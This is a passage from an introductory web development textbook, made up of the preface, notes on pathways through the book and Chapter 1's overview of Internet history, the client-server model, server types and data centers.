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Preface
Welcome to the Fundamentals of Web Development. This textbook is
intended to cover the broad range of topics required for modern web
development and is suitable for intermediate to upper-level computing
students. A significant percentage of the material in this book has also been
used by the authors to teach web development principles to first-year
computing students and to non-computing students as well.

One of the difficulties that we faced when planning this book is that web
development is taught in a wide variety of ways and to a diverse student
audience. Some instructors teach a single course that focuses on server-side
programming to third-year students; other instructors teach the full gamut of
web development across two or more courses, while others might only teach
web development indirectly in the context of a networking, HCI, or capstone
project course. We have tried to create a textbook that supports learning
outcomes in all of these teaching scenarios.

What is Web Development?
Web development is a term that takes on different meanings depending on
the audience and context. In practice, web development requires people with
complementary but distinct expertise working together toward a single goal.
Whereas a graphic designer might regard web development as the application
of good graphic design strategies, a database administrator might regard it as
a simple interface to an underlying database. Software engineers and
programmers might regard web development as a classic software
development task with phases and deliverables, where a systems
administrator sees a system that has to be secured from attackers. With so
many different classes of user and meanings for the term, it's no wonder that
web development is often poorly understood. Too often, in an effort to fully
cover one aspect of web development, the other principles are ignored
altogether, leaving students without a sense of where their skills fit into the



big picture.

A true grasp of web development requires an understanding of multiple
perspectives. As you will see, the design and layout of a website are closely
related to the code and the database. The quality of the graphics is related to
the performance and configuration of the server, and the security of the
system spans every aspect of development. All of these seemingly
independent perspectives are interrelated and therefore a web developer (of
any type) should have a foundational understanding of all aspects, even if
they only possess expertise in a handful of areas.

What's New in the Second Edition?
The first edition of this book was mainly written in the first half of 2013 and
then published in early 2014. Since that time, web development has
simultaneously experienced both constancy and innovation. The new edition
tries to capture both of these traits. As well, since publishing the first edition
we have received a great deal of useful feedback from instructors and
students, which we have incorporated into this version of the book.

The second edition aspires to faithfully cover the most vital trends and
innovation in the field since 2013. The book's coverage of JavaScript has
been substantially increased from the two chapters in the first edition to the
four chapters in this edition. We have also revisited and expanded coverage
to reflect changes in HTML, CSS, and PHP over the past three years. We've
also added new content in several chapters to address increasingly popular
areas like CSS3, version control, NoSQL, new tools, virtualization, and
analytics (among others).

On the constancy side, we certainly didn't rewrite everything! This new
edition contains plenty of content from the first edition. But even the material
that didn't require substantial revisions still went through careful
reconsideration and sometimes we restructured or made small improvements
(and bug fixes) to existing content.

This version of the book also includes revisions to the overall layout



including several new section types that better guide the reader with advice.
We've also made some changes to the page layout to help readers distinguish
advanced topics from more introductory material, allowing students to focus
at a level appropriate for their learning.

Finally, all the end-of-chapter projects, many of the in-chapter exercises and
listings, and additional online learning materials have been revisited,
enhanced, or created anew to bring them up to date with the changes made
throughout the book.

Features of the Book
To help students master the fundamentals of web development, this book has
the following features:

Covers both the concepts and the practice of the entire scope of web
development. Web development can be a difficult subject to teach
because it involves covering a wide range of theoretical material that is
technology independent as well as practical material that is very specific
to a particular technology. This book comprehensively covers both the
conceptual and practical side of the entire gamut of the web
development world.

Focused on the web development reality of today's world and in
anticipation of future trends. The world of web development has
changed remarkably in the past decade. For instance, fewer and fewer
sites are being created from scratch; instead, a great deal of current web
development makes use of existing sophisticated frameworks and
environments such as jQuery, WordPress, HTML5, and Facebook. We
believe it is important to integrate this new world of web development
into any web development textbook.

Sophisticated, realistic, and engaging case studies. Rather than using
simplistic “Hello World” style web projects, this book makes extensive
use of three case studies: an art store, a travel photo sharing community,
and a customer relations management system. For all the case studies,



supporting material such as the visual design, images, and databases are
included. We have found that students are more enthusiastic and thus
work significantly harder with attractive and realistic cases.

Comprehensive coverage of a modern Internet development platform. In
order to create any kind of realistic Internet application, readers require
detailed knowledge of and practice with a single specific Internet
development platform. This book covers HTML5, CSS3, JavaScript,
and the LAMP stack (that is, Linux, Apache, MySQL, and PHP). Other
important technologies covered include jQuery, JSON, Node.js,
MongoDB, AngularJS, XML, WordPress, Bootstrap, and a variety of
third-party APIs that include Facebook, Twitter, and Google and Bing
Maps.

Content presentation suitable for visually oriented learners. As long-time
instructors, the authors are well aware that today's students are often
extremely reluctant to read long blocks of text. As a result, we have tried
to make the content visually pleasing and to explain complicated ideas
not only through text but also through diagrams.

Content that is the result of over twenty five years of classroom
experience (in college, university, and adult continuing education
settings) teaching web development. The book's content also reflects the
authors' deep experience engaging in web development work for a
variety of international clients.

Tutorial-driven programming content available online. Rather than using
long programming listings to teach ideas and techniques, this book uses
a combination of illustrations, short color-coded listings, and separate
tutorial exercises. These step-by-step tutorials are not contained within
the book, but are available online at www.pearsonhighered.com/cs-
resources. Throughout the book you will find frequent links to these
tutorial exercises.

Complete pedagogical features for the student. Each chapter includes
learning objectives, margin notes, links to step-by-step tutorials,
advanced tips, keyword highlights, end-of-chapter review questions, and
three different case study exercises.

http://www.pearsonhighered.com/cs-resources


Code listings available online. Many of the code listings used in the
book are publicly available on GitHub (https://github.com/rconnolly/
funwebdev-2nd-codelistings) and on CodePen (http://codepen.io/
randyc9999/collections/public).

Organization of the Book
The chapters in Fundamentals of Web Development can be organized into
three large sections.

Foundational client-side knowledge (Chapters 1–10). These first
chapters cover the foundational knowledge needed by any front-end web
developer. This includes a broad introduction to web development
(Chapter 1), how the web works (Chapter 2), HTML (Chapters 3 and 5),
CSS (Chapters 4 and 7), web media (Chapter 6), and JavaScript
(Chapters 8–10).

Essential server-side development (Chapters 11–16). Despite the
increasing importance of JavaScript-based development, learning server-
side development is still the essential skill taught in most web
development courses. The basics of PHP are covered in Chapters 11 and
12. Object-oriented PHP is covered in Chapter 13. Database-driven web
development is covered in Chapter 14, while state management and
error handling are covered in Chapters 15 and 16.

Specialized topics (Chapters 17–24). Contemporary web development
has become a very complex field, and different instructors will likely
have different interest areas beyond the foundational topics. As such,
our book provides specialized chapters that cover a variety of different
interest areas. Chapter 17 covers web application design for those
interested more in software engineering and programming design.
Chapter 18 covers the vital topic of web security. Chapter 19 covers
another programming topic: namely, consuming and creating web
services. Chapter 20 covers frameworks in general, and provides an
overview of the growing JavaScript-based MEAN (MongoDB,
ExpressJS, AngularJS, and Node.js) development stack. Chapter 21

https://github.com/rconnolly/funwebdev-2nd-codelistings
http://codepen.io/randyc9999/collections/public


covers the increasingly important topic of integrating with (and
customizing) content management systems. The next two chapters
address two important non-development topics: web server
administration (Chapter 22) and search engines (Chapter 23). Finally,
Chapter 24 covers another increasingly important topic: how to integrate
third-party social networks and measure your site's success through web
analytics.

Pathways through this Book
There are many approaches to teach web development and our book is
intended to work with most of these approaches. It should be noted that this
book has more material than can be plausibly covered in a single semester
course. This is by design as it allows different instructors to chart their own
unique way through the diverse topics that make up contemporary web
development.

We do have some suggested pathways through the materials (though you are
welcome to chart your own course), which you can see illustrated in the
pathway diagrams.

All the web in a single course. Many computing programs only have
space for a single course on web development. This is typically an
intermediate or upper-level course in which students will be expected to
do a certain amount of learning on their own. In this case, we
recommend covering Chapters 1–5, 8, 9, 11, 12, 14, and 16. Other
complimentary chapters include 17, 18, and 23.

Client-focused course for introductory students. Some computing
programs have a web course with minimal programming that may be
open to non-major students or which acts as an introductory course to
web development for major students. For such a course, we recommend
covering Chapters 1–7. You can use Chapters 8 and 9 to introduce
client-side scripting if desired. If some server-side web programming is
going to be introduced, you can also cover Chapters 11 and 12. If no
programming is going to be covered, you might consider adding some



parts of Chapters 21, 23, and 24.

Server-focused course for intermediate students. If students have already
taken a client-focused course (or you want the students to learn the
client content quickly on their own), then Chapters 11–17 and perhaps
Chapters 18, 19 and 22 would provide the students with a very solid
foundation in server-side development.

Advanced web development course. Some programs offer a web
development course for upper-level students in which it is assumed that
the students already know the foundational topics and are also
experienced with the basics of server-side development. Such courses
probably have the widest range of possible topics. One example of such
a course might include advanced client and server Chapters 10, 13 and
20 alongside a selection of the advanced topics from Chapter 17–24.

Infrastructure-focused course. In some computing programs the
emphasis is less on the particulars of web programming and more on
integrating web technologies into the overall computing infrastructure
within an organization. Such a course might cover Chapters 1, 2, 3, 4, 8,
11, 14, 18, and 22 with an option to include some topics from Chapters
6, 15, 19, and 23.
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For the Instructor
Web development courses have been called “unteachable” and indeed
teaching web development has many challenges. We believe that using our
book will make teaching web development significantly less challenging.

The following instructor resources are available at
www.pearsonhighered.com/irc:

Attractive and comprehensive PowerPoint presentations (one for each
chapter).

Images and databases for all the case studies.

Solutions to end-of-chapter exercises and to tutorial exercises.

Many of the code listings and examples used in the book are available on
GitHub (https://github.com/rconnolly/funwebdev-2nd-codelistings) and on
CodePen (http://codepen.io/randyc9999/collections/public).

Why this Book?
The ACM computing curricula for computer science, information systems,
information technology, and computing engineering all recommend at least a
single course devoted to web development. As a consequence, almost every
postsecondary computing program offers at least one course on web
development.

Despite this universality, we could not find a suitable textbook for these
courses that addressed both the theoretical underpinnings of the web together
with modern web development practices. Complaints about this lack of
breadth and depth have been well documented in published accounts in the

http://www.pearsonhighered.com/irc
https://github.com/rconnolly/funwebdev-2nd-codelistings
http://codepen.io/randyc9999/collections/public


computing education research literature. Although there are a number of
introductory textbooks devoted to HTML and CSS, and, of course, an
incredibly large number of trade books focused on specific web technologies,
many of these are largely unsuitable for computing major students. Rather
than illustrating how to create simple pages using HTML and JavaScript with
very basic server-side capabilities, we believed that instructors increasingly
need a textbook that guides students through the development of realistic,
enterprise-quality web applications using contemporary Internet development
platforms and frameworks.

This book is intended to fill this need. It covers the required ACM web
development topics in a modern manner that is closely aligned with
contemporary best practices in the real world of web development. It is based
on our experience teaching a variety of different web development courses
since 1997, our working professionally in the web development industry, our
research in published accounts in the computing education literature, and in
our corresponding with colleagues across the world. We hope that you find
that this book does indeed satisfy your requirements for a web development
textbook!
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1 Introduction to Web Development



Chapter Objectives
In this chapter, you will learn …

About web development in general

The history of the Internet and World Wide Web

Fundamental concepts that form the foundation of the Internet

About the hardware and software that support the Internet

The range of careers and companies in web development

This chapter introduces the World Wide Web (WWW). It begins with an
answer to the broad question, what is web development. It then progresses
from that large question to a brief history of the Internet. It also provides an
overview of key Internet technologies and ideas that make web development
possible. To truly understand these concepts in depth, one would normally
take courses in computer science or information technology (IT) covering
networking principles. If you find some of these topics too in-depth or
advanced, you may decide to skip over some of the details here and return to
them later.



1.1 A Complicated Ecosystem
You may remember from your primary school science class that nature can
be characterized as an ecosystem, a complex system of interrelationships
between living and nonliving elements of the environment. As visualized in
Figure 1.1 , web development can also be understood as an ecosystem, one
that builds on existing technologies (URL, DNS, and Internet), and
contributes new protocols and standards (HTTP, HTML, and JavaScript) that
facilitate client-server interactions. As this ecosystem matures, new client and
server technologies, frameworks, and platforms continue to be developed in
support of the web (PHP, jQuery, Bootstrap, etc.). The rich web development
ecosystem has created entirely new areas of interest for both research and
businesses including search engines, social networks, ecommerce, content
management systems, and more.



Figure 1.1 The web
development ecosystem

Figure 1.1 Full Alternative Text

Just as you don't need to know everything about worms, trees, birds,
amphibians, and dirt to be a biologist, you don't necessarily need to
understand every concept in Figure 1.1 in complete depth in order to be



successful as a web developer. Nonetheless, it is important to see how this
complicated network of concepts and technologies defines the scope of
modern web development, and how concepts from each chapter fit into the
bigger picture.

In Figure 1.1 , web development is visualized as a three-story building with
some unusual things going on inside. What we tried to capture in this image
is the idea that one can understand web development as an activity with three
broad levels. At the basement level are the foundational components,
necessary to make it all work, but operating more or less out of sight. The
main-floor level includes the topics usually understood to constitute web
development: HTML, CSS, JavaScript, and some type of server-side
programming language, such as PHP. Finally, on the upper level reside the
most advanced topics, be they search algorithms, security threats, or
advanced programming design.

The topics covered in this textbook can also be broadly considered to reside
within this same three-story building. Almost all entry-level web
development positions require proficiency with the topics shown on the main
floor. Thus, most of the book's chapters focus on these topics.

It is the perspective of the book, however, that web development is more than
just markup and programming. In recent years, knowledge of the
infrastructure upon which the web is built has become increasingly important
for practicing web developers. For this reason, this chapter (and the next)
journeys into the basement of foundational protocols, hardware
infrastructure, and key terminology.

The last third of the book corresponds to the topics shown on that top floor. If
you are taking a single course in web development, you might not have time
to cover these more “advanced” topics. Yet, as far as real-world web
development, they are just as important as the more recognizable ones on the
main floor. We would encourage all of our readers to ascend to the upper-
floor topics during their journey to become a web developer with this book.
But before we go there, it is now time to begin with the foundational
knowledge and learn more about web development in general.



1.2 Definitions and History
The World Wide Web (WWW or simply the web) is certainly what most
people think of when they see the word “Internet.” But the WWW is only a
subset of the Internet, as illustrated in Figure 1.2 . While this book is focused
on the web, part of this chapter is also devoted to a broad understanding of
that larger circle labeled the “Internet.”

Figure 1.2 The web as a subset
of the Internet

Figure 1.2 Full Alternative Text

1.2.1 A Short History of the Internet
The history of telecommunication and data transport is a long one. There is a



strategic advantage in being able to send a message as quickly as possible (or
at least, more quickly than your competition). The Internet is not alone in
providing instantaneous digital communication. Earlier technologies like
radio, telegraph, and the telephone provided the same speed of
communication, albeit in an analog form.

Telephone networks in particular provide a good starting place to learn about
modern digital communications. In the telephone networks of old, calls were
routed through operators who physically connected caller and receiver by
connecting a wire to a switchboard to complete a circuit. These operators
were around in some areas for almost a century before being replaced with
automatic mechanical switches that did the same job: physically connect
caller and receiver.

One of the weaknesses of having a physical connection is that you must
establish a link and maintain a dedicated circuit for the duration of the call.
This type of network connection is sometimes referred to as circuit switching
and is shown in Figure 1.3 .

Figure 1.3 Telephone network



as example of circuit switching
Figure 1.3 Full Alternative Text

The problem with circuit switching is that it can be difficult to have multiple
conversations simultaneously (which a computer might want to do). It also
requires more bandwidth, since even the silences are transmitted (that is,
unused capacity in the network is not being used efficiently).

Bandwidth is a measurement of how much data can (maximally) be
transmitted along a communication channel. Normally measured in bits per
second (bps), this measurement differs according to the type of Internet
access technology you are using. A dial-up 56-Kbps modem has far less
bandwidth than a 10-Gbps fiber optic connection.

In the 1960s, as researchers explored digital communications and began to
construct the first networks, the research network ARPANET was created.
ARPANET did not use circuit switching but instead used an alternative
communications method called packet switching. A packet-switched network
does not require a continuous connection. Instead, it splits the messages into
smaller chunks called packets and routes them to the appropriate place based
on the destination address. The packets can take different routes to the
destination, as shown in Figure 1.4 . This may seem a more complicated and
inefficient approach than circuit switching, but is in fact more robust (it is not
reliant on a single pathway that may fail) and a more efficient use of network
resources (since a circuit can communicate data from multiple connections).



Figure 1.4 Internet network as
example of packet switching

Figure 1.4 Full Alternative Text

This early ARPANET network was funded and controlled by the United
States government, and was used exclusively for academic and scientific
purposes. The early network started small, with just a handful of connected
university campuses and research institutions and companies in 1969, and
grew to a few hundred by the early 1980s.

At the same time, alternative networks were created like X.25 in 1974, which



allowed (and encouraged) business use. USENET, built in 1979, had fewer
restrictions still, and as a result grew quickly to 550 connected machines by
1981. Although there was growth in these various networks, the inability for
them to communicate with each other was a real limitation. To promote the
growth and unification of the disparate networks, a suite of protocols was
invented to unify the networks. A protocol is the name given to a formal set
of publicly available rules that manage data exchange between two points.
Communications protocols allow any two computers to talk to one another,
so long as they implement the protocol.

By 1981, protocols for the Internet were published and ready for use.1,2 New
networks built in the United States began to adopt the TCP/IP
(Transmission Control Protocol/Internet Protocol) communication model
(discussed in the next section), while older networks were transitioned over
to it.

Any organization, private or public, could potentially connect to this new
network so long as they adopted the TCP/IP protocol. On January 1, 1983,
TCP/IP was adopted across all of ARPANET, marking the end of the
research network that spawned the Internet.3 Over the next two decades,
TCP/IP networking was adopted across the globe.

1.2.2 The Birth of the Web
The next decade saw an explosion in the number of users, but the Internet of
the late 1980s and the very early 1990s did not resemble the Internet we
know today. During these early years, email and text-based systems were the
extent of the Internet experience.

This transition from the old terminal and text-only Internet of the 1980s to the
Internet of today is due to the invention and massive growth of the web. This
invention is usually attributed to the British Tim Berners-Lee (now Sir Tim
Berners-Lee), who, along with the Belgian Robert Cailliau, published a
proposal in 1990 for a hypertext system while both were working at CERN
(European Organization for Nuclear Research) in Switzerland. Shortly
thereafter Berners-Lee developed the main features of the web.4



This early web incorporated the following essential elements that are still the
core features of the web today:

A Uniform Resource Locator (URL) to uniquely identify a resource on
the WWW.

The Hypertext Transfer Protocol (HTTP) to describe how requests and
responses operate.

A software program (later called web server software) that can respond
to HTTP requests.

Hypertext Markup Language (HTML) to publish documents.

A program (later called a browser) that can make HTTP requests to
URLs and that can display the HTML it receives.

URLs and the HTTP are covered in this chapter. This chapter will also
provide a little bit of insight into the nature of web server software; HTML
will require several chapters to cover in this book. Chapter 22 will examine
the inner workings of server software in more detail.

So while the essential outline of today's web was in place in the early 1990s,
the web as we know it did not really begin until Mosaic, the first popular
graphical browser application, was developed at the National Center for
Supercomputing Applications at the University of Illinois Urbana-Champaign
and released in early 1993 by Eric Bina and Marc Andreessen (who was a
computer science undergraduate student at the time). Andreessen later moved
to California and cofounded Netscape Communications, which released
Netscape Navigator in late 1994. Navigator quickly became the principal web
browser, a position it held until the end of the 1990s, when Microsoft's
Internet Explorer (first released in 1995) became the market leader, a position
it would hold for over a decade.

Also in late 1994, Berners-Lee helped found the World Wide Web
Consortium (W3C), which would soon become the international standards
organization that would oversee the growth of the web. This growth was very
much facilitated by the decision of CERN to not patent the work and ideas



done by its employee and instead leave the web protocols and code-base
royalty free.

To illustrate the growth of the Internet, Figure 1.5 graphs the count of hosts
connected to the Internet from 1990 until 2015. You can see that the last
decade in particular has seen enormous growth, during which social
networks, web services, asynchronous applications, the semantic web, and
more have all been created (and will be described fully in due course in this
textbook).

Figure 1.5 Growth in Internet
hosts/servers based on data
from the Internet Systems
Consortium5

Figure 1.5 Full Alternative Text



Background
The Request for Comments (RFC) archive lists all of the Internet and WWW
protocols, concepts, and standards. It started out as an unofficial repository
for ARPANET information and eventually became the de facto official
record. Even today new standards are published there.

1.2.3 Web Applications in
Comparison to Desktop
Applications
The user experience for a website is unlike the user experience for traditional
desktop software. The location of data storage, limitations with the user
interface, and limited access to operating system features are just some of the
distinctions. However, as web applications have become more and more
sophisticated, the differences in the user experience between desktop
applications and web applications are becoming more and more blurred.

There are a variety of advantages and disadvantages to web-based
applications in comparison to desktop applications. Some of the advantages
of web applications include the following:

Accessible from any Internet-enabled computer.

Usable with different operating systems and browser applications.

Easier to roll out program updates since only software on the server
needs to be updated as opposed to every computer in the organization
using the software.

Centralized storage on the server means fewer security concerns about
local storage (which is important for sensitive information such as health



care data).

Unfortunately, in the world of IT, for every advantage, there is often a
corresponding disadvantage; this is also true of web applications. Some of
these disadvantages include the following:

Requirement to have an active Internet connection (the Internet is not
always available everywhere at all times).

Security concerns about sensitive private data being transmitted over the
Internet.

Concerns over the storage, licensing, and use of uploaded data.

Problems with certain websites not having an identical appearance
across all browsers.

Restrictions on access to operating system resources can prevent
additional software from being installed and hardware from being
accessed (like Adobe Flash on iOS).

In addition, clients or their IT staff may have additional plugins added to
their browsers, which provide added control over their browsing
experience, but which might interfere with JavaScript, cookies, or
advertisements.

We will continually try to address these challenges throughout the book.

Dive Deeper
One of the more common terms you might encounter in web development is
the term “intranet” (with an “a”), which refers to an internal network using
Internet protocols that is local to an organization or business. Intranet
resources are often private, meaning that only employees (or authorized
external parties such as customers or suppliers) have access to those
resources. Thus, “Internet” (with an “e”) is a broader term that encompasses



both private (intranet) and public networked resources.

Intranets are typically protected from unauthorized external access via
security features such as firewalls or private IP ranges, as shown in Figure 1.6
. Because intranets are private, search engines, such as Google have limited
or no access to content within them.

Due to this private nature, it is difficult to accurately gauge, for instance, how
many web pages exist within intranets, and what technologies are more
common in them. Some especially expansive estimates guess that almost half
of all web resources are hidden in private intranets.



Figure 1.6 Intranet versus
Internet
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Being aware of intranets is also important when one considers the job market
and market usage of different web technologies. If one focuses just on the
public Internet, it will appear that PHP, MySQL, and WordPress are the most
commonly used web development stack. But when one adds in the private
world of corporate intranets, other technologies such as ASP.NET, JSP,
SharePoint, Oracle, SAP, and IBM WebSphere are just as important.

1.2.4 Static Websites versus
Dynamic Websites
In the earliest days of the web, a webmaster (the term popular in the 1990s
for the person who was responsible for creating and supporting a website)
would publish web pages and periodically update them. Users could read the
pages but could not provide feedback. The early days of the web included
many encyclopedic, collection-style sites with lots of content to read (and
animated icons to watch).

In those early days, the skills needed to create a website were pretty basic:
one needed knowledge of HTML and perhaps familiarity with editing and
creating images. This type of website is commonly referred to as a static
website, in that it consists only of HTML pages that look identical for all
users at all times. Figure 1.7 illustrates a simplified representation of the
interaction between a user and a static website.



Figure 1.7 Static website
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Within a few years of the invention of the web, sites began to get more
complicated as more and more sites began to use programs running on web
servers to generate content dynamically. These server-based programs would
read content from databases, interface with existing enterprise computer
systems, communicate with financial institutions, and then output HTML that
would be sent back to the users' browsers. This type of website is called a
dynamic server-side website because the page content is being created at run
time by a program created by a programmer; this page content can vary from
user to user. Figure 1.8 illustrates a very simplified representation of the
interaction between a user and a dynamic website.



Figure 1.8 Dynamic Server-
Side website
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So while knowledge of HTML was still necessary for the creation of these
dynamic websites, it became necessary to have programming knowledge as
well. Moreover, by the late 1990s, additional knowledge and skills were
becoming necessary, such as CSS, usability, and security.



1.2.5 Web 2.0 and Beyond
In the mid-2000s, a new buzzword entered the computer lexicon: Web 2.0.
This term had two meanings, one for users and one for developers. For the
users, Web 2.0 referred to an interactive experience where users could
contribute and consume web content, thus creating a more user-driven web
experience. Some of the most popular websites today fall into this category:
Facebook, YouTube, and Wikipedia. This shift to allow feedback from the
user, such as comments on a story, threads in a message board, or a profile on
a social networking site has revolutionized what it means to use a web
application.

For software developers, Web 2.0 also referred to a change in the paradigm
of how dynamic websites are created. Programming logic, which previously
existed only on the server, began to migrate to the browser (see Figure 1.9 ).
This required learning JavaScript, a rather tricky programming language that
runs in the browser, as well as mastering the rather difficult programming
techniques involved in asynchronous communication.



Figure 1.9 Dynamic websites
today
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Web development in the Web 2.0 world is significantly more complicated
today than it was even a decade ago. While this book attempts to cover all the
main topics in web development, in practice, it is common for a certain



division of labor to exist. The skills to create a good-looking static web page
are not the same as those required to write software that facilitates user
interactions. Many programmers are poor visual user interface designers, and
many designers can't program. This separation of software creation and visual
user interface design is essential for any complex Web 2.0 application.

Chapters on HTML and CSS are essential for learning about layout and
design best practices. Later chapters on server and client-side programming
build on those design skills, but go far beyond them. To build modern
applications you (or your team) must have both sets of skills.

1.2.6 Sociotechnological Integration
—Web Science
In recent years, researchers in areas outside of computing have begun
studying the impact of the web on society. Consider for a moment how we
manage and share our photos, videos, and messages with one another; this
marks a major departure from how we would have done these things only a
decade or two ago. These changes (both small and large) to our societal
systems originated with innovations on the web and warrant study in their
own right.

Dive Deeper
When a system is known by a 1.0 and 2.0, people invariably speculate on
what the 3.0 version will look like. If there will be a Web 3.0, what it will
look like is uncertain. Some people have, however, argued that Web 3.0 will
be something called the semantic web.

Semantic is a word from linguistics that means, quite literally, “meaning.”
The semantic web thus adds context and meaning to web pages in the form of
special markup. These semantic elements would allow search engines and
other data-mining agents to make sense of the content.



Currently, a block of text on the web could be anything: a poem, an article, or
a copyright notice. Search engines at present mainly just match the text you
are searching for with text in the page. Currently, these search engines have
to use sophisticated algorithms to try to figure out what the page is all about.
While we humans can easily (and quickly) determine the broad essence of a
page's content, it is much harder for a computer algorithm to do the same.

The goal of the semantic web is to make it easier to figure out those
meanings, thereby dramatically improving the nature of search on the web.
Currently, there are a number of semistandardized, but complicated,
approaches for adding semantic qualifiers to HTML; some examples include
RDF (Resource Description Framework), OWL (Web Ontology Language),
and SKOS (Simple Knowledge Organization System). In recent years, a
simplified approach for adding semantic information to web pages, known as
schema.org, has become popular. We will briefly cover schema.org in the
final section of Chapter 5.

If you look at each interaction on the web as more than just a technical
exchange using protocols and file transmission, you can see there is often an
underlying social need motivating each exchange. The technical system
facilitates a social interaction and social interactions span nearly the entire
human experience, so there is now an entire area of study looking at the web
as a sociotechnical system. Web Science, as it is known, studies the
sociotechnical systems that apply the web in areas as diverse as finance,
politics, activism, romance, and hate speech. This is just another example of
how the web can facilitate entirely new areas of study.

http://schema.org
http://schema.org


1.3 The Client-Server Model
The previous section made use of the terms “client” and “server.” It is now
time to define these words. The web is sometimes referred to as a client-
server model of communications. In the client-server model, there are two
types of actors: clients and servers. The server is a computer agent that is
normally active 24/7, listening for requests from clients. A client is a
computer agent that makes requests and receives responses from the server,
in the form of response codes (you will learn about these in Chapter 2),
images, text files, and other data.

1.3.1 The Client
Client machines are the desktops, laptops, smart phones, and tablets you see
everywhere in daily life. These machines have a broad range of specifications
regarding operating system, processing speed, screen size, available memory,
and storage. The essential characteristic of a client is that it can make requests
to particular servers for particular resources using URLs and then wait for the
response. These requests are processed in some way by the server.

In the most familiar scenario, client requests for web pages come through a
web browser. But a client can be more than just a web browser. When your
word processor's help system accesses online resources, it is a client, as is an
iOS game that communicates with a game server using HTTP. Sometimes a
server web program can even act as a client. For instance, later in Chapter 19,
our sample PHP websites will consume web services from service providers,
such as Flickr and Microsoft; in those cases, our PHP application will be
acting as a client.

1.3.2 The Server
The server in this model is the central repository, the command center, and



the central hub of the client-server model. It hosts web applications, stores
user and program data, and performs security authorization tasks. Since one
server may serve many thousands, or millions of client requests, the demands
on servers can be high. A site that stores image or video data, for example,
will require many terabytes of storage to accommodate the demands of users.
A site with many scripts calculating values on the fly, for instance, will
require more CPU and RAM to process those requests in a reasonable
amount of time.

The essential characteristic of a server is that it is listening for requests, and
upon getting one, responds with a message. The exchange of information
between the client and server is summarized by the request-response loop.

1.3.3 The Request-Response Loop
Within the client-server model, the request-response loop is the most basic
mechanism on the server for receiving requests and transmitting data in
response. The client initiates a request to a server and gets a response that
could include some resource like an HTML file, an image, or some other
data, as shown in Figure 1.10 . This response can also contain other
information about the request, or the resource provided, such as response
codes, cookies, and other data.



Figure 1.10 Request-response
loop
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1.3.4 The Peer-to-Peer Alternative
It may help your understanding to contrast the client-server model with a
different network topology. In the peer-to-peer model, shown in Figure 1.11 ,
where each computer is functionally identical, each node (i.e., computer) is
able to send and receive data directly with one another. In such a model, each
peer acts as both a client and server, able to upload and download
information. Neither is required to be connected 24/7, and each computer is
functionally equal. The client-server model, in contrast, defines clear and
distinct roles for the server. Video chat and bit torrent protocols are examples
of the peer-to-peer model.



Figure 1.11 Peer-to-peer model
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1.3.5 Server Types
In Figure 1.10 , the server was shown as a single machine, which is fine from
a conceptual standpoint. Clients make requests for resources from a URL; to
the client, the server is a single machine.

However, most real-world websites are typically not served from a single



server machine, but by many server machines. It is common to split the
functionality of a website between several different types of server, as shown
in Figure 1.12 . These include the following:

Web servers. A web server is a computer servicing HTTP requests. This
typically refers to a computer running web server software, such as
Apache or Microsoft IIS (Internet Information Services).

Application servers. An application server is a computer that hosts and
executes web applications, which may be created in PHP, ASP.NET,
Ruby on Rails, or some other web development technology.

Database servers. A database server is a computer that is devoted to
running a Database Management System (DBMS), such as MySQL,
Oracle, or MongoDB, that is being used by web applications.

Mail servers. A mail server is a computer creating and satisfying mail
requests, typically using the Simple Mail Transfer Protocol (SMTP).

Media servers. A media server (also called a streaming server) is a
special type of server dedicated to servicing requests for images and
videos. It may run special software that allows video content to be
streamed to clients.

Authentication servers. An authentication server handles the most
common security needs of web applications. This may involve
interacting with local networking resources, such as LDAP (Lightweight
Directory Access Protocol) or Active Directory.



Figure 1.12 Different types of
server
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In smaller sites, these specialty servers are often the same machine as the web
server.

1.3.6 Real-World Server



Installations
The previous section briefly described the different types of server that one
might find in a real-world website. In such a site, not only do these different
types of servers run on separate machines, but there is often replication of
each of the different server types. A busy site can receive thousands or even
tens of thousands of requests a second; globally popular sites such as
Facebook receive millions of requests a second.

A single web server that is also acting as an application or database server
will be hard-pressed to handle more than a few hundred requests a second, so
the usual strategy for busier sites is to use a server farm. The goal behind
server farms is to distribute incoming requests between clusters of machines
so that any given web or data server is not excessively overloaded, as shown
in Figure 1.13 . Special devices called load balancers distribute incoming
requests to available machines.



Figure 1.13 Server farm
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Even if a site can handle its load via a single server, it is not uncommon to
still use a server farm because it provides failover redundancy; that is, if the
hardware fails in a single server, one of the replicated servers in the farm will
maintain the site's availability.

In a server farm, the computers do not look like the ones in your house.
Instead, these computers are more like the plates stacked in your kitchen
cabinets. That is, a farm will have its servers and hard drives stacked on top
of each other in server racks. A typical server farm will consist of many
server racks, each containing many servers, as shown in Figure 1.14 .





Figure 1.14 Sample server rack
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Server farms are typically housed in special facilities called data centers. A
data center will contain more than just computers and hard drives;
sophisticated air conditioning systems, redundancy power systems using
batteries and generators, specialized fire suppression systems, and security
personnel are all part of a typical data center, as shown in Figure 1.15 .

Figure 1.15 Hypothetical data
center

Figure 1.15 Full Alternative Text



To prevent the potential for site downtimes, most large websites will exist in
mirrored data centers in different parts of the country, or even the world. As a
consequence, the costs for multiple redundant data centers are quite high (not
only due to the cost of the infrastructure but also due to the very large
electrical power consumption used by data centers), and only larger web
companies can afford to create and manage their own. Most web companies
will instead lease space from a third-party data center.

The scale of the web farms and data centers for large websites can be
astonishingly large. While most companies do not publicize the size of their
computing infrastructure, some educated guesses can be made based on the
publicly known IP address ranges and published records of a company's
energy consumption and their power usage effectiveness. In 2013, Microsoft
CEO Steve Ballmer provided some insight into the vast numbers of servers
used by the largest web companies: “We have something over a million
servers in our data center infrastructure. Google is bigger than we are.
Amazon is a little bit smaller. You get Yahoo! and Facebook, and then
everybody else is 100,000 units probably or less.”6

Note
It is also common for the reverse to be true—that is, a single server machine
may host multiple sites. Large commercial web hosting companies, such as
GoDaddy, BlueHost, Dreamhost, and others will typically host hundreds or
even thousands of sites on a single machine (or mirrored on several servers).

This type of shared use of a server is sometimes referred to as shared hosting
or a virtual server (or virtual private server). You will learn more about
hosting and virtualization in Chapter 22.



1.4 Where Is the Internet?
It is quite common for the Internet to be visually represented as a cloud,
which is perhaps an apt way to think about the Internet given the importance
of light and magnetic pulses to its operation. To many people using it, the
Internet does seem to lack a concrete physical manifestation beyond our
computer and cell phone screens.

But it is important to recognize that our global network of networks does not
work using magical water vapor, but is implemented via millions of miles of
copper wires and fiber-optic cables connecting millions of server computers
and probably an equal number of routers, switches, and other networked
devices, along with thousands of air conditioning units and specially
constructed server rooms and buildings.

A detailed discussion of all the networking hardware involved in making the
Internet work is far beyond the scope of this text. We should, however, try to
provide at least some sense of the hardware that is involved in making the
web possible.

1.4.1 From the Computer to the
Local Provider
